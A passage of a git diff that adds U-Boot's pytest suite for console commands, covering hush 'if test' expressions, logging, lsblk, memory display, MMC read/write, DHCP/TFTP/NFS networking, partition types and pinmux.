+    ('test 2000000 -gt 0x1ffffff', False),
+    ('test 0x2000000 -gt 1ffffff', True),
+    ('test 0x2000000 -lt 1ffffff', False),
+    ('test 0x2000000 -eq 2000000', False),
+    ('test 0x2000000 -ne 2000000', True),
+
+    ('test -z ""', True),
+    ('test -z "aaa"', False),
+
+    ('test -n "aaa"', True),
+    ('test -n ""', False),
+
+    # Inversion of simple tests.
+
+    ('test ! aaa = aaa', False),
+    ('test ! aaa = bbb', True),
+    ('test ! ! aaa = aaa', True),
+    ('test ! ! aaa = bbb', False),
+
+    # Binary operators.
+
+    ('test aaa != aaa -o bbb != bbb', False),
+    ('test aaa != aaa -o bbb = bbb', True),
+    ('test aaa = aaa -o bbb != bbb', True),
+    ('test aaa = aaa -o bbb = bbb', True),
+
+    ('test aaa != aaa -a bbb != bbb', False),
+    ('test aaa != aaa -a bbb = bbb', False),
+    ('test aaa = aaa -a bbb != bbb', False),
+    ('test aaa = aaa -a bbb = bbb', True),
+
+    # Inversion within binary operators.
+
+    ('test ! aaa != aaa -o ! bbb != bbb', True),
+    ('test ! aaa != aaa -o ! bbb = bbb', True),
+    ('test ! aaa = aaa -o ! bbb != bbb', True),
+    ('test ! aaa = aaa -o ! bbb = bbb', False),
+
+    ('test ! ! aaa != aaa -o ! ! bbb != bbb', False),
+    ('test ! ! aaa != aaa -o ! ! bbb = bbb', True),
+    ('test ! ! aaa = aaa -o ! ! bbb != bbb', True),
+    ('test ! ! aaa = aaa -o ! ! bbb = bbb', True),
+
+    # -z operator.
+
+    ('test -z "$ut_var_nonexistent"', True),
+    ('test -z "$ut_var_exists"', False),
+)
+
+def exec_hush_if(u_boot_console, expr, result):
+    """Execute a shell "if" command, and validate its result."""
+
+    config = u_boot_console.config.buildconfig
+    maxargs = int(config.get('config_sys_maxargs', '0'))
+    args = len(expr.split(' ')) - 1
+    if args > maxargs:
+        u_boot_console.log.warning('CONFIG_SYS_MAXARGS too low; need ' +
+            str(args))
+        pytest.skip()
+
+    cmd = 'if ' + expr + '; then echo true; else echo false; fi'
+    response = u_boot_console.run_command(cmd)
+    assert response.strip() == str(result).lower()
+
+def test_hush_if_test_setup(u_boot_console):
+    """Set up environment variables used during the "if" tests."""
+
+    u_boot_console.run_command('setenv ut_var_nonexistent')
+    u_boot_console.run_command('setenv ut_var_exists 1')
+
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.parametrize('expr,result', subtests)
+def test_hush_if_test(u_boot_console, expr, result):
+    """Test a single "if test" condition."""
+
+    exec_hush_if(u_boot_console, expr, result)
+
+def test_hush_if_test_teardown(u_boot_console):
+    """Clean up environment variables used during the "if" tests."""
+
+    u_boot_console.run_command('setenv ut_var_exists')
+
+# We might test this on real filesystems via UMS, DFU, 'save', etc.
+# Of those, only UMS currently allows file removal though.
+@pytest.mark.buildconfigspec('cmd_echo')
+@pytest.mark.boardspec('sandbox')
+def test_hush_if_test_host_file_exists(u_boot_console):
+    """Test the "if test -e" shell command."""
+
+    test_file = u_boot_console.config.result_dir + \
+        '/creating_this_file_breaks_u_boot_tests'
+
+    try:
+        os.unlink(test_file)
+    except:
+        pass
+    assert not os.path.exists(test_file)
+
+    expr = 'test -e hostfs - ' + test_file
+    exec_hush_if(u_boot_console, expr, False)
+
+    try:
+        with open(test_file, 'wb'):
+            pass
+        assert os.path.exists(test_file)
+
+        expr = 'test -e hostfs - ' + test_file
+        exec_hush_if(u_boot_console, expr, True)
+    finally:
+        os.unlink(test_file)
+
+    expr = 'test -e hostfs - ' + test_file
+    exec_hush_if(u_boot_console, expr, False)
diff --git a/roms/u-boot/test/py/tests/test_log.py b/roms/u-boot/test/py/tests/test_log.py
new file mode 100644
index 000000000..140dcb9aa
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_log.py
@@ -0,0 +1,48 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2016, Google Inc.
+#
+# U-Boot Verified Boot Test
+
+"""
+This tests U-Boot logging. It uses the 'log test' command with various options
+and checks that the output is correct.
+"""
+
+import pytest
+
+@pytest.mark.buildconfigspec('cmd_log')
+def test_log_format(u_boot_console):
+    """Test the 'log format' and 'log rec' commands"""
+    def run_with_format(fmt, expected_output):
+        """Set up the log format and then write a log record
+
+        Args:
+            fmt: Format to use for 'log format'
+            expected_output: Expected output from the 'log rec' command
+        """
+        output = cons.run_command('log format %s' % fmt)
+        assert output == ''
+        output = cons.run_command('log rec arch notice file.c 123 func msg')
+        assert output == expected_output
+
+    cons = u_boot_console
+    with cons.log.section('format'):
+        run_with_format('all', 'NOTICE.arch,file.c:123-func() msg')
+        output = cons.run_command('log format')
+        assert output == 'Log format: clFLfm'
+
+        run_with_format('fm', 'func() msg')
+        run_with_format('clfm', 'NOTICE.arch,func() msg')
+        run_with_format('FLfm', 'file.c:123-func() msg')
+        run_with_format('lm', 'NOTICE. msg')
+        run_with_format('m', 'msg')
+
+@pytest.mark.buildconfigspec('debug_uart')
+@pytest.mark.boardspec('sandbox')
+def test_log_dropped(u_boot_console):
+    """Test dropped 'log' message when debug_uart is activated"""
+
+    cons = u_boot_console
+    cons.restart_uboot()
+    output = cons.get_spawn_output().replace('\r', '')
+    assert (not 'debug: main' in output)
diff --git a/roms/u-boot/test/py/tests/test_lsblk.py b/roms/u-boot/test/py/tests/test_lsblk.py
new file mode 100644
index 000000000..40ffe0126
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_lsblk.py
@@ -0,0 +1,13 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (C) 2020
+# Niel Fourie, DENX Software Engineering, lusus@denx.de
+
+import pytest
+
+@pytest.mark.buildconfigspec('blk')
+@pytest.mark.buildconfigspec('cmd_lsblk')
+def test_lsblk(u_boot_console):
+    """Test that `lsblk` prints a result which includes `host`."""
+    output = u_boot_console.run_command('lsblk')
+    assert "Block Driver" in output
+    assert "sandbox_host_blk" in output
diff --git a/roms/u-boot/test/py/tests/test_md.py b/roms/u-boot/test/py/tests/test_md.py
new file mode 100644
index 000000000..83e3c546f
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_md.py
@@ -0,0 +1,36 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+import pytest
+import u_boot_utils
+
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_md(u_boot_console):
+    """Test that md reads memory as expected, and that memory can be modified
+    using the mw command."""
+
+    ram_base = u_boot_utils.find_ram_base(u_boot_console)
+    addr = '%08x' % ram_base
+    val = 'a5f09876'
+    expected_response = addr + ': ' + val
+    u_boot_console.run_command('mw ' + addr + ' 0 10')
+    response = u_boot_console.run_command('md ' + addr + ' 10')
+    assert(not (expected_response in response))
+    u_boot_console.run_command('mw ' + addr + ' ' + val)
+    response = u_boot_console.run_command('md ' + addr + ' 10')
+    assert(expected_response in response)
+
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_md_repeat(u_boot_console):
+    """Test command repeat (via executing an empty command) operates correctly
+    for "md"; the command must repeat and dump an incrementing address."""
+
+    ram_base = u_boot_utils.find_ram_base(u_boot_console)
+    addr_base = '%08x' % ram_base
+    words = 0x10
+    addr_repeat = '%08x' % (ram_base + (words * 4))
+    u_boot_console.run_command('md %s %x' % (addr_base, words))
+    response = u_boot_console.run_command('')
+    expected_response = addr_repeat + ': '
+    assert(expected_response in response)
diff --git a/roms/u-boot/test/py/tests/test_mmc_rd.py b/roms/u-boot/test/py/tests/test_mmc_rd.py
new file mode 100644
index 000000000..ea652f913
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_mmc_rd.py
@@ -0,0 +1,286 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
+
+# Test U-Boot's "mmc read" command. The test reads data from the eMMC or SD
+# card, and validates the no errors occurred, and that the expected data was
+# read if the test configuration contains a CRC of the expected data.
+
+import pytest
+import time
+import u_boot_utils
+
+"""
+This test relies on boardenv_* to containing configuration values to define
+which MMC devices should be tested. For example:
+
+# Configuration data for test_mmc_dev, test_mmc_rescan, test_mmc_info; defines
+# whole MMC devices that mmc dev/rescan/info commands may operate upon.
+env__mmc_dev_configs = (
+    {
+        'fixture_id': 'emmc-boot0',
+        'is_emmc': True,
+        'devid': 0,
+        'partid': 1,
+        'info_device': ???,
+        'info_speed': ???,
+        'info_mode': ???,
+        'info_buswidth': ???.
+    },
+    {
+        'fixture_id': 'emmc-boot1',
+        'is_emmc': True,
+        'devid': 0,
+        'partid': 2,
+        'info_device': ???,
+        'info_speed': ???,
+        'info_mode': ???,
+        'info_buswidth': ???.
+    },
+    {
+        'fixture_id': 'emmc-data',
+        'is_emmc': True,
+        'devid': 0,
+        'partid': 0,
+        'info_device': ???,
+        'info_speed': ???,
+        'info_mode': ???,
+        'info_buswidth': ???.
+    },
+    {
+        'fixture_id': 'sd',
+        'is_emmc': False,
+        'devid': 1,
+        'partid': None,
+        'info_device': ???,
+        'info_speed': ???,
+        'info_mode': ???,
+        'info_buswidth': ???.
+    },
+)
+
+# Configuration data for test_mmc_rd; defines regions of the MMC (entire
+# devices, or ranges of sectors) which can be read:
+env__mmc_rd_configs = (
+    {
+        'fixture_id': 'emmc-boot0',
+        'is_emmc': True,
+        'devid': 0,
+        'partid': 1,
+        'sector': 0x10,
+        'count': 1,
+    },
+    {
+        'fixture_id': 'emmc-boot1',
+        'is_emmc': True,
+        'devid': 0,
+        'partid': 2,
+        'sector': 0x10,
+        'count': 1,
+    },
+    {
+        'fixture_id': 'emmc-data',
+        'is_emmc': True,
+        'devid': 0,
+        'partid': 0,
+        'sector': 0x10,
+        'count': 0x1000,
+    },
+    {
+        'fixture_id': 'sd-mbr',
+        'is_emmc': False,
+        'devid': 1,
+        'partid': None,
+        'sector': 0,
+        'count': 1,
+        'crc32': '8f6ecf0d',
+    },
+    {
+        'fixture_id': 'sd-large',
+        'is_emmc': False,
+        'devid': 1,
+        'partid': None,
+        'sector': 0x10,
+        'count': 0x1000,
+    },
+)
+"""
+
+def mmc_dev(u_boot_console, is_emmc, devid, partid):
+    """Run the "mmc dev" command.
+
+    Args:
+        u_boot_console: A U-Boot console connection.
+        is_emmc: Whether the device is eMMC
+        devid: Device ID
+        partid: Partition ID
+
+    Returns:
+        Nothing.
+    """
+
+    # Select MMC device
+    cmd = 'mmc dev %d' % devid
+    if is_emmc:
+        cmd += ' %d' % partid
+    response = u_boot_console.run_command(cmd)
+    assert 'no card present' not in response
+    if is_emmc:
+        partid_response = '(part %d)' % partid
+    else:
+        partid_response = ''
+    good_response = 'mmc%d%s is current device' % (devid, partid_response)
+    assert good_response in response
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_dev(u_boot_console, env__mmc_dev_config):
+    """Test the "mmc dev" command.
+
+    Args:
+        u_boot_console: A U-Boot console connection.
+        env__mmc_dev_config: The single MMC configuration on which
+            to run the test. See the file-level comment above for details
+            of the format.
+
+    Returns:
+        Nothing.
+    """
+
+    is_emmc = env__mmc_dev_config['is_emmc']
+    devid = env__mmc_dev_config['devid']
+    partid = env__mmc_dev_config.get('partid', 0)
+
+    # Select MMC device
+    mmc_dev(u_boot_console, is_emmc, devid, partid)
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_rescan(u_boot_console, env__mmc_dev_config):
+    """Test the "mmc rescan" command.
+
+    Args:
+        u_boot_console: A U-Boot console connection.
+        env__mmc_dev_config: The single MMC configuration on which
+            to run the test. See the file-level comment above for details
+            of the format.
+
+    Returns:
+        Nothing.
+    """
+
+    is_emmc = env__mmc_dev_config['is_emmc']
+    devid = env__mmc_dev_config['devid']
+    partid = env__mmc_dev_config.get('partid', 0)
+
+    # Select MMC device
+    mmc_dev(u_boot_console, is_emmc, devid, partid)
+
+    # Rescan MMC device
+    cmd = 'mmc rescan'
+    response = u_boot_console.run_command(cmd)
+    assert 'no card present' not in response
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_info(u_boot_console, env__mmc_dev_config):
+    """Test the "mmc info" command.
+
+    Args:
+        u_boot_console: A U-Boot console connection.
+        env__mmc_dev_config: The single MMC configuration on which
+            to run the test. See the file-level comment above for details
+            of the format.
+
+    Returns:
+        Nothing.
+    """
+
+    is_emmc = env__mmc_dev_config['is_emmc']
+    devid = env__mmc_dev_config['devid']
+    partid = env__mmc_dev_config.get('partid', 0)
+    info_device = env__mmc_dev_config['info_device']
+    info_speed = env__mmc_dev_config['info_speed']
+    info_mode = env__mmc_dev_config['info_mode']
+    info_buswidth = env__mmc_dev_config['info_buswidth']
+
+    # Select MMC device
+    mmc_dev(u_boot_console, is_emmc, devid, partid)
+
+    # Read MMC device information
+    cmd = 'mmc info'
+    response = u_boot_console.run_command(cmd)
+    good_response = "Device: %s" % info_device
+    assert good_response in response
+    good_response = "Bus Speed: %s" % info_speed
+    assert good_response in response
+    good_response = "Mode: %s" % info_mode
+    assert good_response in response
+    good_response = "Bus Width: %s" % info_buswidth
+    assert good_response in response
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_rd(u_boot_console, env__mmc_rd_config):
+    """Test the "mmc read" command.
+
+    Args:
+        u_boot_console: A U-Boot console connection.
+        env__mmc_rd_config: The single MMC configuration on which
+            to run the test. See the file-level comment above for details
+            of the format.
+
+    Returns:
+        Nothing.
+    """
+
+    is_emmc = env__mmc_rd_config['is_emmc']
+    devid = env__mmc_rd_config['devid']
+    partid = env__mmc_rd_config.get('partid', 0)
+    sector = env__mmc_rd_config.get('sector', 0)
+    count_sectors = env__mmc_rd_config.get('count', 1)
+    expected_crc32 = env__mmc_rd_config.get('crc32', None)
+    read_duration_max = env__mmc_rd_config.get('read_duration_max', 0)
+
+    count_bytes = count_sectors * 512
+    bcfg = u_boot_console.config.buildconfig
+    has_cmd_memory = bcfg.get('config_cmd_memory', 'n') == 'y'
+    has_cmd_crc32 = bcfg.get('config_cmd_crc32', 'n') == 'y'
+    ram_base = u_boot_utils.find_ram_base(u_boot_console)
+    addr = '0x%08x' % ram_base
+
+    # Select MMC device
+    mmc_dev(u_boot_console, is_emmc, devid, partid)
+
+    # Clear target RAM
+    if expected_crc32:
+        if has_cmd_memory and has_cmd_crc32:
+            cmd = 'mw.b %s 0 0x%x' % (addr, count_bytes)
+            u_boot_console.run_command(cmd)
+
+            cmd = 'crc32 %s 0x%x' % (addr, count_bytes)
+            response = u_boot_console.run_command(cmd)
+            assert expected_crc32 not in response
+        else:
+            u_boot_console.log.warning(
+                'CONFIG_CMD_MEMORY or CONFIG_CMD_CRC32 != y: Skipping RAM clear')
+
+    # Read data
+    cmd = 'mmc read %s %x %x' % (addr, sector, count_sectors)
+    tstart = time.time()
+    response = u_boot_console.run_command(cmd)
+    tend = time.time()
+    good_response = 'MMC read: dev # %d, block # %d, count %d ... %d blocks read: OK' % (
+        devid, sector, count_sectors, count_sectors)
+    assert good_response in response
+
+    # Check target RAM
+    if expected_crc32:
+        if has_cmd_crc32:
+            cmd = 'crc32 %s 0x%x' % (addr, count_bytes)
+            response = u_boot_console.run_command(cmd)
+            assert expected_crc32 in response
+        else:
+            u_boot_console.log.warning('CONFIG_CMD_CRC32 != y: Skipping check')
+
+    # Check if the command did not take too long
+    if read_duration_max:
+        elapsed = tend - tstart
+        u_boot_console.log.info('Reading %d bytes took %f seconds' %
+                                (count_bytes, elapsed))
+        assert elapsed <= (read_duration_max - 0.01)
diff --git a/roms/u-boot/test/py/tests/test_mmc_wr.py b/roms/u-boot/test/py/tests/test_mmc_wr.py
new file mode 100644
index 000000000..05e5c1ee8
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_mmc_wr.py
@@ -0,0 +1,105 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2019, Texas Instrument
+# Author: Jean-Jacques Hiblot 
+
+# Test U-Boot's "mmc write" command. The test generates random data, writes it
+# to the eMMC or SD card, then reads it back and performs a comparison.
+
+import pytest
+import u_boot_utils
+
+"""
+This test relies on boardenv_* to containing configuration values to define
+which MMC devices should be tested. For example:
+
+env__mmc_wr_configs = (
+    {
+        "fixture_id": "emmc-boot0",
+        "is_emmc": True,
+        "devid": 1,
+        "partid": 1,
+        "sector": 0x10,
+        "count": 100,
+        "test_iterations": 50,
+    },
+    {
+        "fixture_id": "emmc-boot1",
+        "is_emmc": True,
+        "devid": 1,
+        "partid": 2,
+        "sector": 0x10,
+        "count": 100,
+        "test_iterations": 50,
+    },
+)
+
+"""
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.buildconfigspec('cmd_memory')
+@pytest.mark.buildconfigspec('cmd_random')
+def test_mmc_wr(u_boot_console, env__mmc_wr_config):
+    """Test the "mmc write" command.
+
+    Args:
+        u_boot_console: A U-Boot console connection.
+        env__mmc_wr_config: The single MMC configuration on which
+            to run the test. See the file-level comment above for details
+            of the format.
+
+    Returns:
+        Nothing.
+    """
+
+    is_emmc = env__mmc_wr_config['is_emmc']
+    devid = env__mmc_wr_config['devid']
+    partid = env__mmc_wr_config.get('partid', 0)
+    sector = env__mmc_wr_config.get('sector', 0)
+    count_sectors = env__mmc_wr_config.get('count', 1)
+    test_iterations = env__mmc_wr_config.get('test_iterations', 1)
+
+
+    count_bytes = count_sectors * 512
+    bcfg = u_boot_console.config.buildconfig
+    ram_base = u_boot_utils.find_ram_base(u_boot_console)
+    src_addr = '0x%08x' % ram_base
+    dst_addr = '0x%08x' % (ram_base + count_bytes)
+
+
+    for i in range(test_iterations):
+        # Generate random data
+        cmd = 'random %s %x' % (src_addr, count_bytes)
+        response = u_boot_console.run_command(cmd)
+        good_response = '%d bytes filled with random data' % (count_bytes)
+        assert good_response in response
+
+        # Select MMC device
+        cmd = 'mmc dev %d' % devid
+        if is_emmc:
+            cmd += ' %d' % partid
+        response = u_boot_console.run_command(cmd)
+        assert 'no card present' not in response
+        if is_emmc:
+            partid_response = "(part %d)" % partid
+        else:
+            partid_response = ""
+        good_response = 'mmc%d%s is current device' % (devid, partid_response)
+        assert good_response in response
+
+        # Write data
+        cmd = 'mmc write %s %x %x' % (src_addr, sector, count_sectors)
+        response = u_boot_console.run_command(cmd)
+        good_response = 'MMC write: dev # %d, block # %d, count %d ... %d blocks written: OK' % (devid, sector, count_sectors, count_sectors)
+        assert good_response in response
+
+        # Read data
+        cmd = 'mmc read %s %x %x' % (dst_addr, sector, count_sectors)
+        response = u_boot_console.run_command(cmd)
+        good_response = 'MMC read: dev # %d, block # %d, count %d ... %d blocks read: OK' % (devid, sector, count_sectors, count_sectors)
+        assert good_response in response
+
+        # Compare src and dst data
+        cmd = 'cmp.b %s %s %x' % (src_addr, dst_addr, count_bytes)
+        response = u_boot_console.run_command(cmd)
+        good_response = 'Total of %d byte(s) were the same' % (count_bytes)
+        assert good_response in response
diff --git a/roms/u-boot/test/py/tests/test_net.py b/roms/u-boot/test/py/tests/test_net.py
new file mode 100644
index 000000000..9ca6743af
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_net.py
@@ -0,0 +1,208 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+# Test various network-related functionality, such as the dhcp, ping, and
+# tftpboot commands.
+
+import pytest
+import u_boot_utils
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+which the network environment available for testing. Without this, this test
+will be automatically skipped.
+
+For example:
+
+# Boolean indicating whether the Ethernet device is attached to USB, and hence
+# USB enumeration needs to be performed prior to network tests.
+# This variable may be omitted if its value is False.
+env__net_uses_usb = False
+
+# Boolean indicating whether the Ethernet device is attached to PCI, and hence
+# PCI enumeration needs to be performed prior to network tests.
+# This variable may be omitted if its value is False.
+env__net_uses_pci = True
+
+# True if a DHCP server is attached to the network, and should be tested.
+# If DHCP testing is not possible or desired, this variable may be omitted or
+# set to False.
+env__net_dhcp_server = True
+
+# A list of environment variables that should be set in order to configure a
+# static IP. If solely relying on DHCP, this variable may be omitted or set to
+# an empty list.
+env__net_static_env_vars = [
+    ('ipaddr', '10.0.0.100'),
+    ('netmask', '255.255.255.0'),
+    ('serverip', '10.0.0.1'),
+]
+
+# Details regarding a file that may be read from a TFTP server. This variable
+# may be omitted or set to None if TFTP testing is not possible or desired.
+env__net_tftp_readable_file = {
+    'fn': 'ubtest-readable.bin',
+    'addr': 0x10000000,
+    'size': 5058624,
+    'crc32': 'c2244b26',
+}
+
+# Details regarding a file that may be read from a NFS server. This variable
+# may be omitted or set to None if NFS testing is not possible or desired.
+env__net_nfs_readable_file = {
+    'fn': 'ubtest-readable.bin',
+    'addr': 0x10000000,
+    'size': 5058624,
+    'crc32': 'c2244b26',
+}
+"""
+
+net_set_up = False
+
+def test_net_pre_commands(u_boot_console):
+    """Execute any commands required to enable network hardware.
+
+    These commands are provided by the boardenv_* file; see the comment at the
+    beginning of this file.
+    """
+
+    init_usb = u_boot_console.config.env.get('env__net_uses_usb', False)
+    if init_usb:
+        u_boot_console.run_command('usb start')
+
+    init_pci = u_boot_console.config.env.get('env__net_uses_pci', False)
+    if init_pci:
+        u_boot_console.run_command('pci enum')
+
+@pytest.mark.buildconfigspec('cmd_dhcp')
+def test_net_dhcp(u_boot_console):
+    """Test the dhcp command.
+
+    The boardenv_* file may be used to enable/disable this test; see the
+    comment at the beginning of this file.
+    """
+
+    test_dhcp = u_boot_console.config.env.get('env__net_dhcp_server', False)
+    if not test_dhcp:
+        pytest.skip('No DHCP server available')
+
+    u_boot_console.run_command('setenv autoload no')
+    output = u_boot_console.run_command('dhcp')
+    assert 'DHCP client bound to address ' in output
+
+    global net_set_up
+    net_set_up = True
+
+@pytest.mark.buildconfigspec('net')
+def test_net_setup_static(u_boot_console):
+    """Set up a static IP configuration.
+
+    The configuration is provided by the boardenv_* file; see the comment at
+    the beginning of this file.
+    """
+
+    env_vars = u_boot_console.config.env.get('env__net_static_env_vars', None)
+    if not env_vars:
+        pytest.skip('No static network configuration is defined')
+
+    for (var, val) in env_vars:
+        u_boot_console.run_command('setenv %s %s' % (var, val))
+
+    global net_set_up
+    net_set_up = True
+
+@pytest.mark.buildconfigspec('cmd_ping')
+def test_net_ping(u_boot_console):
+    """Test the ping command.
+
+    The $serverip (as set up by either test_net_dhcp or test_net_setup_static)
+    is pinged. The test validates that the host is alive, as reported by the
+    ping command's output.
+    """
+
+    if not net_set_up:
+        pytest.skip('Network not initialized')
+
+    output = u_boot_console.run_command('ping $serverip')
+    assert 'is alive' in output
+
+@pytest.mark.buildconfigspec('cmd_net')
+def test_net_tftpboot(u_boot_console):
+    """Test the tftpboot command.
+
+    A file is downloaded from the TFTP server, its size and optionally its
+    CRC32 are validated.
+
+    The details of the file to download are provided by the boardenv_* file;
+    see the comment at the beginning of this file.
+    """
+
+    if not net_set_up:
+        pytest.skip('Network not initialized')
+
+    f = u_boot_console.config.env.get('env__net_tftp_readable_file', None)
+    if not f:
+        pytest.skip('No TFTP readable file to read')
+
+    addr = f.get('addr', None)
+
+    fn = f['fn']
+    if not addr:
+        output = u_boot_console.run_command('tftpboot %s' % (fn))
+    else:
+        output = u_boot_console.run_command('tftpboot %x %s' % (addr, fn))
+    expected_text = 'Bytes transferred = '
+    sz = f.get('size', None)
+    if sz:
+        expected_text += '%d' % sz
+    assert expected_text in output
+
+    expected_crc = f.get('crc32', None)
+    if not expected_crc:
+        return
+
+    if u_boot_console.config.buildconfig.get('config_cmd_crc32', 'n') != 'y':
+        return
+
+    output = u_boot_console.run_command('crc32 $fileaddr $filesize')
+    assert expected_crc in output
+
+@pytest.mark.buildconfigspec('cmd_nfs')
+def test_net_nfs(u_boot_console):
+    """Test the nfs command.
+
+    A file is downloaded from the NFS server, its size and optionally its
+    CRC32 are validated.
+
+    The details of the file to download are provided by the boardenv_* file;
+    see the comment at the beginning of this file.
+    """
+
+    if not net_set_up:
+        pytest.skip('Network not initialized')
+
+    f = u_boot_console.config.env.get('env__net_nfs_readable_file', None)
+    if not f:
+        pytest.skip('No NFS readable file to read')
+
+    addr = f.get('addr', None)
+    if not addr:
+        addr = u_boot_utils.find_ram_base(u_boot_console)
+
+    fn = f['fn']
+    output = u_boot_console.run_command('nfs %x %s' % (addr, fn))
+    expected_text = 'Bytes transferred = '
+    sz = f.get('size', None)
+    if sz:
+        expected_text += '%d' % sz
+    assert expected_text in output
+
+    expected_crc = f.get('crc32', None)
+    if not expected_crc:
+        return
+
+    if u_boot_console.config.buildconfig.get('config_cmd_crc32', 'n') != 'y':
+        return
+
+    output = u_boot_console.run_command('crc32 %x $filesize' % addr)
+    assert expected_crc in output
diff --git a/roms/u-boot/test/py/tests/test_ofplatdata.py b/roms/u-boot/test/py/tests/test_ofplatdata.py
new file mode 100644
index 000000000..e9cce4daf
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_ofplatdata.py
@@ -0,0 +1,23 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2016 Google, Inc
+
+import pytest
+import u_boot_utils as util
+
+@pytest.mark.boardspec('sandbox_spl')
+@pytest.mark.buildconfigspec('spl_of_platdata')
+def test_spl_devicetree(u_boot_console):
+    """Test content of spl device-tree"""
+    cons = u_boot_console
+    dtb = cons.config.build_dir + '/spl/u-boot-spl.dtb'
+    fdtgrep = cons.config.build_dir + '/tools/fdtgrep'
+    output = util.run_and_log(cons, [fdtgrep, '-l', dtb])
+
+    assert "u-boot,dm-pre-reloc" not in output
+    assert "u-boot,dm-pre-proper" not in output
+    assert "u-boot,dm-spl" not in output
+    assert "u-boot,dm-tpl" not in output
+
+    assert "spl-test5" not in output
+    assert "spl-test6" not in output
+    assert "spl-test7" in output
diff --git a/roms/u-boot/test/py/tests/test_part.py b/roms/u-boot/test/py/tests/test_part.py
new file mode 100644
index 000000000..cba980451
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_part.py
@@ -0,0 +1,14 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (C) 2020
+# Niel Fourie, DENX Software Engineering, lusus@denx.de
+
+import pytest
+
+@pytest.mark.buildconfigspec('cmd_part')
+@pytest.mark.buildconfigspec('partitions')
+@pytest.mark.buildconfigspec('efi_partition')
+def test_dm_compat(u_boot_console):
+    """Test that `part types` prints a result which includes `EFI`."""
+    output = u_boot_console.run_command('part types')
+    assert "Supported partition tables:" in output
+    assert "EFI" in output
diff --git a/roms/u-boot/test/py/tests/test_pinmux.py b/roms/u-boot/test/py/tests/test_pinmux.py
new file mode 100644
index 000000000..0cbbae000
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_pinmux.py
@@ -0,0 +1,84 @@
+# SPDX-License-Identifier: GPL-2.0
+
+import pytest
+import u_boot_utils
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+def test_pinmux_usage_1(u_boot_console):
+    """Test that 'pinmux' command without parameters displays
+    pinmux usage."""
+    output = u_boot_console.run_command('pinmux')
+    assert 'Usage:' in output
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+def test_pinmux_usage_2(u_boot_console):
+    """Test that 'pinmux status' executed without previous "pinmux dev"
+    command displays pinmux usage."""
+    output = u_boot_console.run_command('pinmux status')
+    assert 'Usage:' in output
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+@pytest.mark.boardspec('sandbox')
+def test_pinmux_status_all(u_boot_console):
+    """Test that 'pinmux status -a' displays pin's muxing."""
+    output = u_boot_console.run_command('pinmux status -a')
+
+    assert ('pinctrl-gpio:' in output)
+    assert ('a5        : gpio output .' in output)
+    assert ('a6        : gpio output .' in output)
+
+    assert ('pinctrl:' in output)
+    assert ('P0        : UART TX.' in output)
+    assert ('P1        : UART RX.' in output)
+    assert ('P2        : I2S SCK.' in output)
+    assert ('P3        : I2S SD.' in output)
+    assert ('P4        : I2S WS.' in output)
+    assert ('P5        : GPIO0 bias-pull-up input-disable.' in output)
+    assert ('P6        : GPIO1 drive-open-drain.' in output)
+    assert ('P7        : GPIO2 bias-pull-down input-enable.' in output)
+    assert ('P8        : GPIO3 bias-disable.' in output)
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+@pytest.mark.boardspec('sandbox')
+def test_pinmux_list(u_boot_console):
+    """Test that 'pinmux list' returns the pin-controller list."""
+    output = u_boot_console.run_command('pinmux list')
+    assert 'sandbox_pinctrl' in output
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+def test_pinmux_dev_bad(u_boot_console):
+    """Test that 'pinmux dev' returns an error when trying to select a
+    wrong pin controller."""
+    pincontroller = 'bad_pin_controller_name'
+    output = u_boot_console.run_command('pinmux dev ' + pincontroller)
+    expected_output = 'Can\'t get the pin-controller: ' + pincontroller + '!'
+    assert (expected_output in output)
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+@pytest.mark.boardspec('sandbox')
+def test_pinmux_dev(u_boot_console):
+    """Test that 'pinmux dev' select the wanted pin controller."""
+    pincontroller = 'pinctrl'
+    output = u_boot_console.run_command('pinmux dev ' + pincontroller)
+    expected_output = 'dev: ' + pincontroller
+    assert (expected_output in output)
+
+@pytest.mark.buildconfigspec('cmd_pinmux')
+@pytest.mark.boardspec('sandbox')
+def test_pinmux_status(u_boot_console):
+    """Test that 'pinmux status' displays selected pincontroller's pin
+    muxing descriptions."""
+    output = u_boot_console.run_command('pinmux status')
+
+    assert (not 'pinctrl-gpio:' in output)
+    assert (not 'pinctrl:' in output)
+
+    assert ('P0        : UART TX.' in output)
+    assert ('P1        : UART RX.' in output)
+    assert ('P2        : I2S SCK.' in output)
+    assert ('P3        : I2S SD.' in output)
+    assert ('P4        : I2S WS.' in output)
+    assert ('P5        : GPIO0 bias-pull-up input-disable.' in output)
